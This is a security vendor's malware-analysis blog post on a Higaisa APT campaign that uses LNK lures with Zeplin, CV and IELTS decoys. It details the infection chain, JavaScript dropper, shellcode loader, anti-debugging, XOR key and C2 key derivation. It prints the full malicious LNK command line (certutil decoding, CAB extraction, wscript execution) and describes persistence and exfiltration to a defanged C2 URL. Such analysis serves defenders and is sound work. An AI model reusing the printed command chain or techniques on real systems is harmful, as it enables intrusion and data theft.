The Return of the Higaisa APT

zscaler.com/blogs/research/return-higaisa-apt



Cybercriminals will often use LNK files attached in an email to launch an attack on unsuspecting victims. And we recently noticed another campaign using this technique.

In May 2020, we observed several LNK files in the wild, which we attribute to the same threat actor based on the code overlap, similar tactics, techniques and procedures (TTPs) and similar backdoor. For those who are unfamiliar, an LNK file is a shortcut or "link" used by Windows as a reference to an original file, folder, or application similar to an alias on the Macintosh platform.

The final backdoor, to the best of our knowledge, has not been documented before in the public domain. Recently, Malwarebytes published a <u>blog</u> about this attack, but the details of the backdoor were not mentioned in that blog. This backdoor uses sophisticated and deceptive techniques, such as FakeTLS-based network communication over a duplicated socket handle and a complex cryptographic key derivation routine.

We attribute this attack (with a moderate confidence level) to the South Korean advanced persistent threat (APT) actor Higaisa. The decoy files used in the two instances of the LNK attack targeted users of Chinese origin.

The infection chain used by the LNK files is very similar to the instance observed in March 2020 by <u>Anomali</u>. The C&C network infrastructure was correlated to Higaisa APT.

In this blog, we provide a detailed description of the distribution strategy, threat attribution, shellcode, anti-analysis techniques and the final backdoor of this campaign.

Distribution strategy

The LNK files used by this threat actor contain decoy files that are displayed to the user while the malicious activities are carried out in the background. The decoy content could be an internet shortcut file (.url file extension) or a PDF file. In this section, we will describe the various themes used in this campaign.

On May 12, 2020, we discovered two LNK files that used the Zeplin platform (zeplin.io) as the decoy theme. Zeplin is a collaboration platform used by developers and designers in the enterprise industry. The details of the LNK files include:

MD5 hash: 45278d4ad4e0f4a891ec99283df153c3

Filename: Conversations - iOS - Swipe Icons - Zeplin.Ink

MD5 hash: c657e04141252e39b9fa75489f6320f5

Filename: Tokbox icon - Odds and Ends - iOS - Zeplin.Ink

These LNK files contain internet shortcut files that will be opened by the web browser installed on the system.

The URLs correspond to a project as shown below:

Project URL for file with MD5 hash: 45278d4ad4e0f4a891ec99283df153c3

https://app.zeplin.io/project/5b5741802f3131c3a63057a4/screen/5b589f697e44cee37e0e61 df

Project URL for file with MD5 hash: c657e04141252e39b9fa75489f6320f5

https://app.zeplin.io/project/5b5741802f3131c3a63057a4/screen/5b589f697e44cee37e0e61 df

If the user is not logged into the site, apps.zeplin.io, then it will redirect the user to the login page as shown in Figure 1.

app	zep	lin.io,	/login

Great to see you again!
G Login with Google
or
Username / email
Password
Login
Login with SSO
Forgot password?
No account yet? Sign up Looking for the Windows app? Download here

Figure 1: The login page displayed by Zeplin.

The previously mentioned LNK files were present inside a RAR archive file format with the following information:

MD5 hash of RAR archive: 2ffb817ff7ddcfa216da31f50e199df1

Filename: Project link and New copyright policy.rar

The contents of the RAR archive are shown below:

Project link and New copyright policy

- All tort's projects Web Inks
- Conversations iOS Swipe Icons Zeplin.Ink
- Tokbox icon Odds and Ends iOS Zeplin.Ink
- Zeplin Copyright Policy.pdf

The contents of the decoy PDF are related to Zeplin's copyright policy as shown in Figure 2.

Zeplin Copyright Policy

Last updated 1 May 2020

Notification of Copyright Infringement

Zeplin, Inc. ("Zeplin") respects the intellectual property rights of others and expects its users to do the same.

It is Zeplin's policy, in appropriate circumstances and at its discretion, to disable and/or terminate the accounts of users who repeatedly infringe the copyrights of others.

In accordance with the Digital Millennium Copyright Act of 1998, the text of which may be found on the U.S. Copyright Office website at http://www.copyright.gov/legislation/dmca.pdf. Zeplin will respond expeditiously to claims of copyright infringement committed using the Zeplin website or other online network accessible through a mobile device or other type of device (the "Services") that are reported to Zeplin's Designated Copyright Agent, identified in the sample notice below.

If you are a copyright owner, or are authorized to act on behalf of one, or authorized to act under any exclusive right under copyright, please report alleged copyright infringements taking place on or through the Services by completing the following DMCA Notice of Alleged Infringement and delivering it to Zeplin's Designated Copyright Agent. Upon receipt of the Notice as described below, Zeplin will take whatever action, in its sole discretion, it deems appropriate, including removal of the challenged material from the Services.

DMCA Notice of Alleged Infringement ("Notice")

1. Identify the copyrighted work that you claim has been infringed, or — if multiple copyrighted works are covered by this Notice — you may provide a representative list of the copyrighted works that you claim have been infringed.

2. Identify the material that you claim is infringing (or to be the subject of infringing activity) and that is to be removed or access to which is to be disabled, and information reasonably sufficient to permit us to locate the material, including at a minimum, if applicable, the URL of the link shown on the Services where such material may be found.

3. Provide your mailing address, telephone number, and, if available, email address.

4. Include both of the following statements in the body of the Notice:

- "I hereby state that I have a good faith belief that the disputed use of the copyrighted material is not authorized by the copyright
 owner, its agent, or the law (e.g., as a fair use)."
- "I hereby state that the information in this Notice is accurate and, under penalty of perjury, that I am the owner, or authorized to act
 on behalf of the owner, of the copyright or of an exclusive right under the copyright that is allegedly infringed."

5. Provide your full legal name and your electronic or physical signature.

Deliver this Notice, with all items completed, to Zeplin's Designated Copyright Agent:

Copyright Agent c/o Zeplin, Inc 221 Main St, ste 770, San Francisco, CA, 94105

copyright@zeplin.io

Figure 2: The decoy PDF displaying Zeplin's copyright policy notice.

On May 30, 2020, we discovered two more LNK files, which we attribute to the same threat actor as described below.

MD5 hash: 4a4a223893c67b9d34392670002d58d7

Filename:

Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf.lnk

This LNK file drops a PDF file at runtime and opens it with the default PDF viewer on the system.

MD5 hash of the dropped PDF file: 4dcd2e0287e0292a1ad71cbfdf99726e

Filename of decoy PDF: Curriculum Vitae_WANG LEI_Hong Kong Polytechnic University.pdf

The contents of this PDF file are shown in Figure 3.

Addr.:	
Tel.:	
Availability: May.2016 – Aug.2016	
EDUCATION	
(Expected)	United States
M.S. in Urban Planning & Real Estate Development	Sep.2016 - Jun.2018
	Hong Kong
BSc (HONS) in Geomatics with Specialism in Geo-Information Technology GPA: 3.42/4.0 Ranking: 4/38 IELTS: 7.5	Sep.2012 – Expected Jun.2016
Urban Design Summer Program	Jul 2015 - Aug 2015
GPA: 91/100 Ranking: 1/70	
PROFESSIONAL EXPERIENCE	
Summer Intern	Shanghai, China Building
Shanghai Construction Group	Jun Jul.2015
 Assisted tracking the progress of construction projects and composed field observa 	tion reports to supervisor
 Fast learned 3D modelling software Catia while new to it and helped with drawing Conducted a feasibility study on the siting of subway stations through literature and 	d field studies
Urban Heat Island (UHI) Research Assistant	Hong Kong
Hong Kong Polytechnic University	Jun Aug.2014
 Crawled over 30 relevant academic papers and composed report to summarize rese 	arch results
 Performed scrupulous data processing and analyzed large sets of data using Excel Established regression models of UHI and contributing factors & developed expert 	& statistical software Minitab tise in data analysis
Urban Redevelopment Project	Hong Kong
Hong Kong Polytechnic University	Jan.2016 - Present
 Conducted subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect residential, commercial and the subject site research on land uses with respect site respect site research on land uses with respect site resp	nd industrial buildings
 Implemented SWOT analysis on subject site with respect to existing commercial and 	id social activities
 Collaborated with team mates and gathered data on land uses and commercial & so 	cial activities

Figure 3: The decoy PDF displaying the CV of a student from Hong Kong Polytechnic University

The contents of the PDF correspond to the CV (curriculum vitae) of a student from Hong Kong Polytechnic University include:

MD5 hash of the dropped PDF file: 28bfed8776c0787e9da3a2004c12b09a

Filename of decoy PDF: International English Language Testing System certificate.pdf

The second LNK file we observed on May 30, 2020 contained a PDF corresponding to the International English Language Testing System (IELTS) results of a student.

建心考试				
2017年8月3日 昌	調四			
2017年8月1日1	3:10(24小时制)			
上海外面值大学				
学术英				
観日市				
at				
出席				
听力	间谍	写作	口语	总成绩
8.0	9.0	6.5	6.5	7.5
	2017年8月3日 2017年8月1日 1 上海外面面大学 学术英 出席 斯力 80	2017年8月3日 星期辺 2017年8月1日 13:10(24小时年)) 上海外面頂大学 学术英 道道 第二 日席 町力 風漂 80 90	2017年8月3日 里期四 2017年8月1日 13:10(24小时期) 上時外面通大学 学术英 単常 単席 所力 風漆 写作 80 90 65	2017年8月3日 里期四 2017年8月1日 13:10(24小时期) 上海外面通大学 学术英 一 小市 所力 同様 写作 口语 80 90 55 55

Figure 4: A student's IELTS examination results.

LNK metadata analysis

The LNK file format contains a wealth of metadata information that can be used for attribution and correlating the files to a particular threat actor. While most of the metadata from the LNK files in this attack was erased, we found the Security Identifier (SID) value preserved in the LNK files.

Using the LECmd tool, we extracted the SID value from the LNK files which are detailed in the table below:

LNK file MD5 hash	SID value
997ab0b59d865c4bd63cc55b5e9c8b48	S-1-5-21-1624688396-48173410-756317185- 1001
c657e04141252e39b9fa75489f6320f5	S-1-5-21-1624688396-48173410-756317185- 1001
4a4a223893c67b9d34392670002d58d7	S-1-5-21-1624688396-48173410-756317185- 1001
45278d4ad4e0f4a891ec99283df153c3	S-1-5-21-1624688396-48173410-756317185- 1001

We wrote a YARA hunting rule to discover other LNK files in the wild with the same SID value as shown below:

rule ZS LNK SID strings: \$a = "S-1-5-21-1624688396-48173410-756317185-1001" wide condition:

\$a

}

{

The only instances we found were the above four LNK files. So, in addition to other indicators shared between these four LNK files, the common SID values helped us to further attribute them to the same threat actor.

Technical analysis

For the purpose of technical analysis, we will use the LNK file with MD5 hash: 45278d4ad4e0f4a891ec99283df153c3.

If the Chrome browser is already installed on the machine, then the icon of the LNK file will appear to be the same as the Chrome browser icon. This is because the IconFileName property in the LNK file is set to the path of the Chrome browser as shown below:

IconFileName - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

The target property of the LNK file specifies the command that will be executed at runtime as shown in Figure 5.

C:\windows\System32\cmd.exe C:\Windows\System32\cmd.exe /c copy "Conversations - iOS - Swipe Icons - Zeplin.lnk" %temp%\g4ZokyumB2DC.tmp /y6 for /r C:\Windows\System32\ %i in (*ertu*.exe) do copy %i %temp%\gosia.exe /y6 findstr.exe /b "TVNDRGA" %temp%\g4ZokyumB2DC.tmp > %temp%\cSilrouy.tmp & %temp%\gosia.exe -decode %temp%\cSilrouy.tmp %temp%\o423DFDS.tmp & expand %temp%\o423DFDS.tmp -F:*%temp% & "%temp%\Conversations-iOS-SwipeIcons-Zeplin.url" & copy %temp%\3t54dE3r.tmp C:\Users\Public\Downloads\3t54dE3r.tmp & Wscript %tmp%\34fDFkfSD32.js & exit; C:\ProgramFiles(x86)\Google\Chrome\Application\chrome.exe

Figure 5: The LNK command target.

This command starts the infection chain and involves multiple stages as detailed below :

- Copies the original LNK file to the temporary directory in the location: %temp%\g4ZokyumB2DC.tmp
- Iterates over the files in the C:\Windows\System32 directory to search for certutil.exe
- Copies certutil.exe to %temp%\gosia.exe

- Uses findstr.exe to search for the marker "TVNDRgA" inside the original LNK file.
- Using the market, a base64 encoded blob is extracted to the temporary file: %temp%\cSi1rouy.tmp
- Uses certutil.exe to decode the base64 encoded blob to the file: %temp%\o423DFDS.tmp
- The resulting decoded file has the CAB file format.
- Uses expand.exe to extract the contents of the CAB file to the %temp% directory.

The components of the cab file are shown in Figure 6.

3t54dE3r.tmp 34fDFkfSD32.js	Name	
34fDFkfSD32.js	3t54dE3r.tmp	
	34fDFkfSD32.js	
Conversations - iOS - Swipe Icons - Zeplin	😰 Conversations - iOS - Swipe Icons - Zeplin	
svchast.exe	svchast.exe	

Figure 6: The CAB file contents.

Here is a brief description of each component of the CAB file. They are described in more details later in the blog.

3t54dE3r.tmp – Contains the shellcode that will be loaded and executed at runtime.

34fDFkfSD32.js – The JavaScript that is used to initiate the infection chain after extraction of CAB file contents.

Conversations - iOS - Swipe Icons – Zeplin.url – This is the internet shortcut file that will be used to open the URL:

https://app.zeplin.io/project/5b5741802f3131c3a63057a4/screen/5b589f697e44cee37e0e61df with Chrome browser on the machine.

Svchast.exe – This is the shellcode loader binary that spoofs the name of a legitimate Windows binary called svchost.exe. Other details include:

- The LNK file will open the internet shortcut file (which opens by default with the web browser and loads the URL).
- It copies the CAB file component, 3t54dE3r.tmp to the location: C:\Users\Public\Downloads\3t54dE3r.tmp

• It uses wscript.exe to execute the JavaScript file: 34fDFkfSD32.js

JavaScript file analysis

MD5 hash of the JavaScript file: a140420e12b68c872fe687967ac5ddbe

The contents of the JavaScript are shown in Figure 7.



Figure 7: The JavaScript file contents

Below are the main operations performed by this JavaScript file.

- It runs the ipconfig command to gather information about the machine's network adapter configuration. It then redirects the results of this command to the file: C:\\Users\\Public\\Downloads\\d3reEW.txt
- It copies svchast.exe to the Startup directory in the location: %AppData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\officeupdate.exe for persistence:
- It copies svchast.exe to the location: C:\\Users\\Public\\Downloads\\officeupdate.exe
- It uses schtasks.exe to create a scheduled task with the name: "Driver Bootser Update" which will be used to execute the officeupdate.exe binary
- It executes svchast.exe binary.
- It sends an HTTP POST request to the URL: <u>hxxp://zeplin.atwebpages.com/inter.php</u> and exfiltrates the ipconfig output gathered from the machine.

Shellcode loader analysis

MD5 hash: a29408dbedf1e5071993dca4a9266f5c

Filename: svchast.exe

The file svchast.exe is used to load the shellcode stored in the file 66DF3DFG.tmp in the path: C:\Users\Public\Downloads\66DF3DFG.tmp

This path is hardcoded in the loader.

The shellcode is loaded using the following steps:

- 1. It reads the contents of the file, "C:\Users\Public\Downloads\66DF3DFG.tmp" into a newly allocated memory region marked with PAGE_EXECUTE_READWRITE permission.
- 2. It transfers the control to this memory region to start the execution of the shellcode.

Shellcode analysis

In this section, we have detailed the interesting code sections of the shellcode.

Anti-debugging technique

The shellcode uses an anti-debugging technique to calculate a 32-bit hash of the code section. This is done to detect the presence of any software breakpoints or tampering of code done for the purpose of reverse engineering.

When a software breakpoint is added in the debugger, a byte with the value 0xCC is added by the debugger in place of the original operation code (opcode). As a result of this, the hash calculation is corrupted.

Such anti-debugging techniques can be easily bypassed by using hardware breakpoints instead of software breakpoints.

As an example, let us set a software breakpoint at the comparison instruction right after hash calculation and check the resulting hash calculated (shown in Figure 8).



Figure 8: The software breakpoint detection by anti-debugging techniques in the shellcode.

As can be seen in Figure 8, due to the software breakpoint, the computed hash was corrupted. Because of this, the code can detect the presence of a debugger. The shellcode will exit the execution if it detects a debugger.

However, if we set a hardware breakpoint, the computed hash will be correct as shown in Figure 9.

:	000000000002A98A 000000000002A98E	44 88 49 64 44 88 59 30	mov r9d,dword ptr ds:[rcx+64] mov r11d,dword ptr ds:[rcx+30]	*	General
	00000000002A992	88 69 34	mov ebp, dword ptr ds: [rcx+34]		RAX 0000000FFFFFFCF
	00000000002A995	44 88 71 4C	mov r14d, dword ptr ds:[rcx+4C]		REX 00000000000000
	000000000002A999	48 63 41 60	movsxd rax, gword ptr ds: [rcx+60]		RCX 0000000000000A
	00000000002A99D	89 51 30	mov dword ptr ds:[rcx+30],edx		RDX 0000000000000
	000000000002A9A0	89 51 34	mov dword ptr ds:[rcx+34],edx	Original hash	(RBP 0000000733C7595)
	00000000002A9A3	44 03 89 70 13 00 00	add r9d, dword ptr ds: [rcx+1370]		RSP 00000000014FE30
	00000000002A9AA	45 03 CE	add r9d,r14d		R5I 00000000000000
	000000000002A9AD	4C 8B D1	mov r10, rcx		RDI 0000000002AC00
	000000000002A980	44 8B C3	mov r8d, ebx		
	00000000002A963	44 03 49 60	add r9d, dword ptr ds:[rcx+60]	Computed hash>	R8 0000000733C7595
	00000000002A987	4C 2B D0	sub r10, rax	e e inparte a maeri	R9 00000000000000000
	000000000002A9BA	OF B6 CA	movzx ecx,dl		R10 0000000002CB06
	00000000002A9BD	41 SB F1	mov esi,r9d		R11 00000006621A914
1.04	000000000002A9C0	41 D3 C8	ror r8d,cl		R12 000000000000000
	000000000002A9C3	41 OF BE 02	movsx eax, byte ptr ds:[r10]		R13 000000000000000
	00000000002A9C7	49 FF C2	inc r10		R14 00000000001370
	00000000002A9CA	44 03 C0	add r8d,eax		R15 000000000000000
	00000000002A9CD	FF CE	dec esi		
	000000000002A9CF	75 EF	jnz 2A9C0		RIP 0000000002A9D1
$\rightarrow \cdot$	000000000002A9D1	41 36 E8	cmp ebp,r8d		
	000000000002A9D4	OF 85 81 01 00 00	jnz 2AB5B		RFLAGS 00000000000345
	00000000002A9DA	41 8D 86 40 FF FF FF	lea eax, dword ptr ds:[r14-C0]		CF 1 TF 1
	00000000002A9E1	48 SD 97 CO 00 00 00	lea rdx, gword ptr ds:[rd1+C0]		PF 1 IF 1

Figure 9: The hardware breakpoint bypasses the anti-debugging technique in the shellcode.

We re-wrote the algorithm used by the shellcode to calculate the hash of the code section in Python and it can be found in **Appendix I**.

Decryption of data in the buffer

The shellcode uses a 16-byte XOR key for decrypting the data as shown in Figure 10.

	debug 011:000 debug 011:000 debug 011:000 debug 011:000 debug 011:000 debug 011:000 debug 011:000 debug 011:000 debug 011:000		8992 9992 9992 9992 9992 9992 9992 9992	A9F6 A9F6 A9F9 A9FD AA88 AA86 AA86 AA86 AA86 AA80 AA80 AA80	lo cm in mo xo in de jn	c_2A9 p ovge c v r c c z	Fó: rcx rcx al, [rd rdx r8 sho	, r , r [r [x],	10 bx di+r al loc_	CX+	•381 9 F6	ני				; CODE XREF: debu	g011:000000000002AA0Cļj
RIP	debug 011:000	999999 999999	0002	AABE	10	C_ZAA USX4	DE:	, di	word	l nt	r I	Indi	+61	3h 1		; CODE XREF: debu	g011:000000000002A9ED+j
•	debug011:000	00000	0002	AA12	mo	vzx	ecx	, bi	yte	ptr	· D	di.	201	1			
	debug011:000	00000	0002	AA16	mo	U	r8,	rd	i		-						
	debug011:000	999999	8882	AA19 0010	SU	b	r8,	ra	X hu								
	debug011:000	00000	0002	AA1E	PIO	Č	eux	, .									
	UNKNOWN 000000	00000	AAOE	: del	bug0	11:100	_2AA	0E (Sync	hron	nize	d w	ith	RIP)		
	•				_							m					,
Он	ex View-1																
0000	00000002B050	00 0	0 00	00	00	00 00	00	00	00	00	00	00	00	00	00		
0000	00000002B060	00 0	0 00	00	00		00	00	00	00	00	3A	00	00	00		
0000	000000028070	58 8	0 00 8 2F	66	31	00 09 00 2F	66	31	66	48	00	54 88	80	88	88	P./.11	
0000	000000028090	00 0	0 00	00	47	00 45	00	54	00	00	00	00	00	00	00	G.E.T	
0000	00000002B0A0	2F @	0 6D	00	73	00 64	00	6E	00	2E	00	63	00	70	00	/.m.s.d.nc.p.	
8888	00000002B0B0	70 0	0 00	00	00	00 00	00	00	00	00	00	00	00	00	00	p	
8888	00000002B0C0	3A 8	0 00	00	00	00 00 00 EC	88	50	00	44	00	65	88	76	00	:\.D.e.v.	1
0000	88888888288F8	09 0	0 03 0 00	00	88	00 50	80	41	20	00 7h	00	73	30	00 2E	25	1.C.e.\.H.f.d	1
8888	0000000280F0	6D 7	3 64	6E	2E	6D 69	63	72	6F	73	6F	66	74	2E	63	msdn.microsoft.c	
0000	00000002B100	6F 6	D 00	00	00	00 00	00	00	00	00	00	00	00	00	00	om	
0000	00000002B110	00 0	0 00	00	00	00 00	00	00	00	00	00	00	00	00	00		
0000	00000002B120	00 0	0 00	00	00	00 00	00	68	74	74	70	73	3A	2F	2F	https://	
0000	000000028130	0/ 0	9 74	80	15	02 2E 00 00	03	10	00	00	00	00	88	88	00	github.com	
8888	00000002B150	00 0	0 00	66	00	00 00	88	00	66	00	88	88	88	88	88		
										~~		~~	~ •	~~~	~ ~		
0000	00000002B160	00 0	0 00	00	00	00 00	00	68	74	74	70	73	3A	2F	2F	https://	

Figure 10: Decryption of the data in the buffer. XOR decryption used to decrypt the strings.

The 16-byte XOR key used for decryption is:

key = [0xE4, 0xFD, 0x23, 0x99, 0xA3, 0xE1, 0xD3, 0x58, 0xA6, 0xCC, 0xDB, 0xE8, 0xF2, 0x91, 0xD2, 0xF8]

We re-wrote the decryption code in Python and can been seen in Appendix II.

Since we believe this to be a new backdoor, we have shared the complete list of decrypted strings in **Appendix IV** for reference.

Key generation routine

In the first thread created by the shellcode, it generates a cryptographic session key that will be transmitted later to the C&C server to protect the communication channel between the bot and the server.

In this section, we detail the key generation routine.

There are multiple parts that are concatenated together to form the final key.

Part 1:

- It calls UUIDCreate() API to generate a UUID.
- It uses the format string: "%08X....-%04X...-%0IIX" to format the UUID using sprintf().

Example UUID: DB7C6235-FD1A-45B6-224F868

Part 2:

- It calls UUIDCreate() to generate a 16-byte UUID.
- The last byte of the UUID is used to generate a byte that will be used to perform the ROR operation later.
- It uses an ROR and ADD instruction-based algorithm to compute a 32-bit hash that will be appended to first two steps (listed above). The algorithm used to compute the 32-bit hash in this case is similar to the one used in the anti-debugging section. This algorithm has been re-written in Python and can be found in **Appendix I**.

Format:

uuid2 = [<--- 16 bytes of UUID --->] [ROR byte 0x00 0x00 0x00] [32-bit hash]

It uses CryptBinaryToStringA() to generate Base64 encoded data using UUID2.

Part 3:

It uses Windows Crypto APIs to generate an MD5 hash using UUID1 (from Part 1). Before the hash is calculated, the length of the UUID is extended to 0x48 bytes by padding with null bytes. This can be re-written in Python as:

```
data = uuid1 + "\x00" * (0x48 - len(uuid1))
```

```
md5 = hashlib.md5()
```

```
md5.update(data)
```

hash1 = md5.hexdigest()

It calculates an MD5 hash of the above-generated hash once again.

hash2 = md5(hash1)

It uses CryptDeriveKey() to derive a 128-bit AES key.

seg000:0000000000057EB loc_57EB:		; CODE XREF: gen_session_keys+6C†j
seq000:0000000000057EB	mov	r8d, [rsp+38h+arg 20]
seq000:0000000000057F0	mov	rcx, [rsi]
seq000:0000000000057F3	xor	r9d, r9d
seq000:0000000000057F6	mov	rdx, rbp ; MD5 hash of UUID1
seq000:0000000000057F9	call	gword ptr [rax+560h] ; CryptHashData
seq000:0000000000057FF	test	eax, eax
seq000:000000000005801	mov	rax, [rdi+0C8h]
seg000:000000000005808	jnz	short loc_5822
seg000:00000000000580A	call	qword ptr [rax+150h]
seg000:000000000005810	mov	r9d, eax
seg000:000000000005813	mov	rax, [rdi+ <mark>0C8h</mark>]
seg000:00000000000581A	mov	edx, [rax+568h]
seg000:000000000005820	jmp	short loc_57D8
seg000:000000000005822 ;		
seg000:000000000005822		
seg000:000000000005822 seg000:000000000005822 loc_5822:		; CODE XREF: gen_session_keys+B4†j
seg000:000000000005822 seg000:00000000005822 loc_5822: seg000:000000000005822	mov	; CODE XREF: gen_session_keys+B4†j r8, [rsi]
seg000:0000000000005822 seg000:000000000005822 loc_5822: seg000:00000000000822 seg000:000000000005825	mo v mo v	; CODE XREF: gen_session_keys+B4 [†] j r8, [rsi] rcx, [rdi+268h]
seg000:0000000000005822 seg000:000000000005822 loc_5822: seg000:000000000005822 seg000:000000000008825 seg000:000000000005825	MOV MOV MOV	; CODE XREF: gen_session_keys+B41j rcx, [rdi+268h] r9d, 800000h
seg000:000000000005822 seg000:000000000005822 loc_5822: seg000:000000000005822 seg000:0000000000825 seg000:000000000082C seg000:00000000005832	MOV MOV MOV MOV	; CODE XREF: gen_session_keys+B4 [†] j r8, [rsi] rcx, [rdi+268h] r9d, 800000h edx, 660Eh ; CALG_AES_128
seg000:000000000005822 seg000:000000000005822 seg000:000000000005822 seg000:00000000005825 seg000:0000000000882C seg000:00000000005832 seg000:00000000005837	MOV MOV MOV MOV MOV	; CODE XREF: gen_session_keys+B4 [†] j rcx, [rdi+268h] r9d, 806008h edx, 660Eh ; CALG_AES_128 [rsp+38h+var_18], r14 ; aes_key_handle
seg000:000000000005822 seg000:000000000005822 seg000:000000000005822 seg000:000000000005825 seg000:000000000005825 seg000:00000000005837 seg000:00000000005837	mov mov mov mov call	; CODE XREF: gen_session_keys+84 [†] j rcx, [rdi+268h] r9d, 800000h edx, 660Eh ; CALG_AES_128 [rsp+38h+var_18], r14 ; aes_key_handle qword ptr [rax+580h] ; CryptDeriveKey
seg000:000000000005822 seg000:000000000005822 seg000:000000000005822 seg000:000000000005825 seg000:000000000005825 seg000:000000000005832 seg000:00000000005837 seg000:000000000005837 seg000:000000000005832	mov mov mov mov call test	; CODE XREF: gen_session_keys+84 [†] j rcx, [rdi+268h] r9d, 800000h edx, 660Eh ; CALG_AES_128 [rsp+38h+var_18], r14 ; aes_key_handle qword ptr [rax+580h] ; CryptDeriveKey eax, eax
seg000:000000000005822 seg000:000000000005822 loc_5822: seg000:0000000000005825 seg000:000000000005825 seg000:000000000005825 seg000:00000000005837 seg000:00000000005837 seg000:00000000005832 seg000:00000000005832 seg000:00000000005842 seg000:00000000005842	mov mov mov mov call test jnz	; CODE XREF: gen_session_keys+B4 [†] j rcx, [rdi+268h] r9d, 800000h edx, 660Eh ; CALG_AES_128 [rsp+38h+var_18], r14 ; aes_key_handle qword ptr [rax+580h] ; CryptDeriveKey eax, eax short loc_5868
seg000:000000000005822 seg000:00000000005822 seg000:000000000005822 seg000:000000000005822 seg000:000000000005822 seg000:00000000005832 seg000:00000000005837 seg000:000000000005832 seg000:00000000005842 seg000:00000000005844 seg000:00000000005844	mov mov mov call test jnz mov	; CODE XREF: gen_session_keys+B4 [†] j rcx, [rdi+268h] r9d, 800008h edx, 660Eh ; CALG_AES_128 [rsp+38h+var_18], r14 ; aes_key_handle qword_ptr [rax+580h] ; CryptDeriveKey eax, eax short loc_5868 rax, [rdi+0C8h]
seg000:000000000005822 seg000:00000000005822 seg000:000000000005822 seg000:000000000005825 seg000:000000000005825 seg000:00000000005837 seg000:000000000005837 seg000:000000000005837 seg000:000000000005842 seg000:000000000005844 seg000:000000000005844 seg000:00000000005846	nov mov mov call test jnz mov call	; CODE XREF: gen session keys+84 [†] j rcx, [rdi+268h] r9d, 800000h edx, 660Eh ; CALG_AES_128 [rsp+38h+var_18], r14 ; aes_key_handle qword ptr [rax+580h] ; CryptDeriveKey eax, eax short loc_5868 rax, [rdi+808h] qword ptr [rax+150h]
seg000:000000000005822 seg000:000000000005822 seg000:000000000005822 seg000:000000000005825 seg000:000000000005825 seg000:00000000005837 seg000:000000000005837 seg000:000000000005842 seg000:00000000005844 seg000:00000000005840 seg000:00000000005840 seg000:00000000005840 seg000:00000000005840	mov mov mov call test jnz mov call mov	; CODE XREF: gen_session_keys+84 [†] j rcx, [rdi+268h] r9d, 800000h edx, 660Eh ; CALG_AES_128 [rsp+38h+var_18], r14 ; aes_key_handle qword ptr [rax+580h] ; CryptDeriveKey eax, eax short loc_5868 rax, [rdi+0C8h] qword ptr [rax+150h] r9d, eax
seg000:00000000005822 seg000:000000000005822 seg000:000000000005825 seg000:000000000005825 seg000:000000000005825 seg000:00000000005832 seg000:000000000005832 seg000:000000000005842 seg000:000000000005844 seg000:000000000005840 seg000:00000000005840 seg000:00000000005840 seg000:000000000005853 seg000:000000000005853	mov mov mov call test jnz mov call mov	; CODE XREF: gen_session_keys+84 [†] j rcx, [rdi+268h] r9d, 808000h edx, 660Eh ; CALG_AES_128 [rsp+38h+var_18], r14 ; aes_key_handle qword ptr [rax+580h] ; CryptDeriveKey eax, eax short loc_5868 rax, [rdi+0C8h] qword ptr [rax+150h] r9d, eax rax, [rdi+0C8h]
seg 000: 000000000005822 seg 000: 00000000005822 seg 000: 000000000005822 seg 000: 000000000005825 seg 000: 000000000005825 seg 000: 000000000005837 seg 000: 000000000005837 seg 000: 000000000005844 seg 000: 00000000005844 seg 000: 00000000005844 seg 000: 00000000005845 seg 000: 00000000005840 seg 000: 00000000005840 seg 000: 00000000005850 seg 000: 00000000005850	mov mov mov call test jnz mov call mov mov	; CODE XREF: gen_session_keys+B4 [†] j rcx, [rdi+268h] r9d, 800000h edx, 660Eh ; CALG_AES_128 [rsp+38h+var_18], r14 ; aes_key_handle qword ptr [rax+580h] ; CryptDeriveKey eax, eax short loc_5868 rax, [rdi+0C8h] qword ptr [rax+150h] r9d, eax rax, [rdi+0C8h] edx, [rax+588h]

Figure 11: The cryptographic session key derivation routine.

It appends hash2 with null bytes to extend the length to 0x48 bytes and then encrypts it using the AES-128 bit key derived in step 3 above. The encrypted hash is used to derive the AES key for encryption.

All these parts are concatenated together before transmitting to the C&C server for registering the AES key for encrypted communication.

Initialization of a TLS session

After decrypting the C&C server address, the shellcode proceeds to send an HTTP GET request to fetch the resource: "msdn.cpp" on the server.

I

WinHTTPSetOption() is used to set the WINHTTP_OPTION_SECURITY_FLAGS value to 0x3300, which allows it to ignore any certificate errors that might occur at the time of the request.

Figure 12 shows that the content-length request header field in the HTTP GET request is set to: 0xfffffff manually at the time of invoking the WinHTTPSendRequest.

seg000:000000000002AFF loc_2AFF:		; CODE XREF: send_request_to_c2+7E↓j
seg000:000000000002AFF	nov	rax, [rdi+0C8h]
seg000:000000000002B06	mov	[rsp+48h+var_18], rbx
seg000:000000000002808	or	[rsp+48h+var_20], 0FFFFFFFFh ; Set Content-length header to 0xffffffff
seg000:000000000002B10	xor	r9d, r9d
seg000:000000000002B13	xor	r8d, r8d
seg000:000000000002B16	xor	edx, edx
seg000:000000000002B18	mov	rcx, rsi
seg000:000000000002B1B	MOV	[rsp+48h+var_28], ebx
seg000:000000000002B1F	call	qword ptr [rax+640h] ; WinHttpSendRequest
seq000:0000000000002B25	test	eax, eax
seq000:000000000002B27	jq	short loc_2895
seq000:000000000002B29	nov	rax, [rdi+0C8h]
seq000:000000000002B30	call	qword ptr [rax+150h] ; GetLastError
seq000:000000000002B36	CMP	eax, 2F8Fh ; check if error code is: ERROR WINHTTP SECURE FAILURE
seq000:000000000002B3B	jnz	short loc 2B68
seq000:000000000002B3D	nov	rax, [rdi+0C8h]
seq000:000000000002844	nov	r9d, 4
seq000:000000000002B4A	lea	r8, [rsp+48h+arg 10]
seq000:000000000002B4F	lea	edx, [r9+1Bh]
seq000:000000000002B53	mov	rcx, rsi
